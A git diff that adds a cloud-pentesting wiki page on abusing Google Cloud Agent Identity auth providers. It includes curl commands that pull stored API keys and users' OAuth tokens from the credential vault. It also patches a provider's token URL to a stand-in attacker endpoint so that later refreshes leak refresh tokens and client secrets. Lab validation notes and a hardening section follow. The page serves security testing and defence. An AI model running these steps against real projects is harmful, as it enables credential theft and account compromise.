diff --git a/SUMMARY.md b/SUMMARY.md index 008efc3d05..42385eaa0e 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -177,6 +177,7 @@ * [GCP - Storage Enum](pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md) * [GCP - Workflows Enum](pentesting-cloud/gcp-security/gcp-services/gcp-workflows-enum.md) * [GCP <--> Workspace Pivoting](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md) + * [GCP - Agent Identity Auth Manager Credential Access](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-agent-identity-auth-manager-privesc.md) * [GCP - Understanding Domain-Wide Delegation](pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md) * [GCP - Unauthenticated Enum & Access](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/README.md) * [GCP - API Keys Unauthenticated Enum](pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-api-keys-unauthenticated-enum.md) diff --git a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md index c6354c2633..ec509f6e2f 100644 --- a/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md +++ b/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md @@ -17,6 +17,14 @@ Learn & practice GCP Hacking: [[1]](#references) This creates two important post-exploitation paths: + +* **`agentidentity.authProviders.retrieveCredentials`** can return a stored API key or a previously authorized user's OAuth access token. +* **`agentidentity.authProviders.update`** can redirect a 3-legged OAuth provider's token endpoint. During a later refresh, the vault sends the stored refresh token and OAuth client credentials to the new endpoint. + +Both are **High**, conditional findings rather than automatic Workspace compromise. Their impact depends on the provider, existing credentials or user authorizations, OAuth scopes, and knowing the provider resource name. + +{% hint style="danger" %} +These techniques do **not** mean that a principal with `iam.serviceAccounts.getAccessToken`, or even with an Agent Identity permission, can read every user's Drive. A Workspace pivot exists only when the affected auth provider uses Google OAuth and the specific user previously consented to Workspace-capable scopes such as Drive, Gmail, Calendar, or Admin SDK scopes.[[2]](#references)[[3]](#references) +{% endhint %} + +## Read-only enumeration and no-list fallback + +Auth providers are regional. Listing locations requires `agentidentity.locations.list`, and listing providers requires `agentidentity.authProviders.list` on the location parent.[[4]](#references)[[5]](#references) + +```bash +PROJECT_ID="project-id" +ACCESS_TOKEN="$(gcloud auth print-access-token)" + +# List locations visible in the project. +curl -sS \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + "https://agentidentity.googleapis.com/v1/projects/${PROJECT_ID}/locations" + +# List active providers in one known location. Do not request showDeleted=true. +LOCATION="us-central1" +curl -sS \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + "https://agentidentity.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/authProviders?pageSize=1000&showDeleted=false" +``` + +The dangerous permissions do not imply `get` or `list`. If listing is denied, recover provider names from agent source/configuration, deployment manifests, logs, previous error messages, or other locally available artifacts. With a known full name, use the provider's read-only `testIamPermissions` method directly: + +```bash +PROVIDER="projects/${PROJECT_ID}/locations/${LOCATION}/authProviders/provider-name" + +curl -sS -X POST \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + -H 'Content-Type: application/json' \ + --data '{"permissions":["agentidentity.authProviders.retrieveCredentials","agentidentity.authProviders.update"]}' \ + "https://agentidentity.googleapis.com/v1/${PROVIDER}:testIamPermissions" +``` + +Do not mix `agentidentity.authProviders.list` or `create` into this provider-level request: those permissions apply to the location parent and can make the whole batch fail with HTTP 400. Also remember that Google documents `testIamPermissions` as potentially failing open; use it as enumeration evidence, not as an authorization control.[[6]](#references) + +GCPPEASS performs this safe flow automatically and accepts a known-name fallback: + +```bash +python3 GCPPEAS.py \ + --resource "agent-auth-provider:${PROVIDER}" \ + --only-specified \ + --billing-project "${PROJECT_ID}" +``` + +## `agentidentity.authProviders.retrieveCredentials` + +The credentials API requires the exact `agentidentity.authProviders.retrieveCredentials` permission. A successful response contains a `success.token` and the header in which the caller should inject it.[[2]](#references) + +```bash +USER_ID="known-user@example.com" + +curl -sS -X POST \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + -H 'Content-Type: application/json' \ + --data "{\"userId\":\"${USER_ID}\",\"continueUri\":\"https://authorized-client.example/validateUserId\"}" \ + "https://agentidentitycredentials.googleapis.com/v1/${PROVIDER}/credentials:retrieve" +``` + +Observed behavior: + +* For an **API-key provider**, any non-empty `userId` returned the same provider-wide key. An empty value was rejected. +* For **3-legged OAuth**, the `userId` was an exact, case-sensitive vault lookup key. The correct value returned the stored access token; a different or differently cased value started a new consent flow. +* A 3LO request requires `continueUri` even when an authorization already exists. +* `forceRefreshToken` is not a Boolean. It must contain the full previously returned access-token string and asks the vault to refresh it by using the stored refresh token.[[2]](#references) + +### Conditional GCP to Workspace pivot + +Google explicitly supports configuring the provider with Google's authorization and token endpoints.[[3]](#references) If the authorized user's scopes include Workspace APIs, the recovered token can access only the resources permitted by those scopes and by that user. It does not bypass OAuth consent, expand scopes, impersonate another user, or provide domain-wide delegation. + +{% hint style="info" %} +**Live validation (2026-09-08):** In `gcp-labs-ly3gvnn7`, a service account with a custom role containing only `agentidentity.authProviders.retrieveCredentials` received HTTP 403 for provider GET and LIST but HTTP 200 from `credentials:retrieve`. It recovered a synthetic API key for arbitrary non-empty IDs. Separately, an OAuth authorization finalized by one principal under `workspace-victim@example.invalid` was retrieved intact by the exact-permission service account using that same ID; wrong and differently cased IDs required consent. No real Workspace token or data was used. +{% endhint %} + +## `agentidentity.authProviders.update` token-endpoint interception + +An update-only principal can patch nested 3LO fields without reading the provider or its secrets.[[7]](#references) Replacing only `tokenUrl` creates a delayed credential-interception path: + +```bash +ATTACKER_TOKEN_URL="https://authorized-test-endpoint.example/oauth/token" + +curl -sS -X PATCH \ + -H "Authorization: Bearer ${ACCESS_TOKEN}" \ + -H "x-goog-user-project: ${PROJECT_ID}" \ + -H 'Content-Type: application/json' \ + --data "{\"name\":\"${PROVIDER}\",\"authProviderTypeParams\":{\"threeLeggedOauth\":{\"tokenUrl\":\"${ATTACKER_TOKEN_URL}\"}}}" \ + "https://agentidentity.googleapis.com/v1/${PROVIDER}?updateMask=authProviderTypeParams.threeLeggedOauth.tokenUrl" +``` + +When a legitimate caller later refreshes a stored user token, the auth manager sends an OAuth refresh request to the modified URL. The receiving endpoint can obtain the stored **refresh token**, **client ID**, and **client secret**. Those values can allow direct token refreshes against the original OAuth provider and access within the user's previously consented scopes. + +This path requires all of the following: + +1. A known, existing 3LO auth provider. +2. At least one stored user authorization. +3. `agentidentity.authProviders.update` on that provider. +4. A later legitimate token refresh. The update permission alone does not immediately return any credential. + +{% hint style="info" %} +**Live validation (2026-09-08):** A service account with only `agentidentity.authProviders.update` received HTTP 403 for provider GET, LIST, and `credentials:retrieve`, but successfully patched only the token URL. After a legitimate principal forced refresh of a pre-existing synthetic authorization, the replacement endpoint confirmed receipt of the exact synthetic refresh token, client ID, and client secret. The test endpoint recorded only Boolean matches; all authorizations, providers, IAM bindings, custom roles, service accounts, images, services, and source artifacts were removed afterward. +{% endhint %} + +## Detection and hardening + +* Treat `roles/agentidentity.user` and any custom role containing `retrieveCredentials` as direct credential-vault access, not ordinary agent execution. +* Restrict `roles/agentidentity.editor` and custom roles containing `authProviders.update`. Review changes to authorization and token URLs immediately. +* Bind users/agents to individual auth providers rather than granting project-wide access where possible. +* Keep `allowedScopes` narrow. An empty allow-list permits all scopes not explicitly blocked. +* Inventory provider URLs and compare them with approved OAuth domains. Revoke affected user authorizations and rotate the OAuth client secret if a token endpoint was modified. +* Review Admin Activity and Data Access logs for provider updates and credential retrieval, accounting for the fact that Data Access logging may need explicit enablement. + +## References + +* [1] [Agent Identity auth manager overview](https://docs.cloud.google.com/iam/docs/auth-manager-overview) +* [2] [`credentials.retrieve` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentitycredentials/rest/v1/projects.locations.authProviders.credentials/retrieve) +* [3] [Authenticate using 3-legged OAuth with auth manager](https://docs.cloud.google.com/iam/docs/auth-with-3lo-v2) +* [4] [Agent Identity supported locations](https://docs.cloud.google.com/iam/docs/agent-identity-locations) +* [5] [`authProviders.list` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/list) +* [6] [`authProviders.testIamPermissions` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/testIamPermissions) +* [7] [`authProviders.patch` REST method](https://docs.cloud.google.com/iam/docs/reference/agentidentity/rest/v1/projects.locations.authProviders/patch)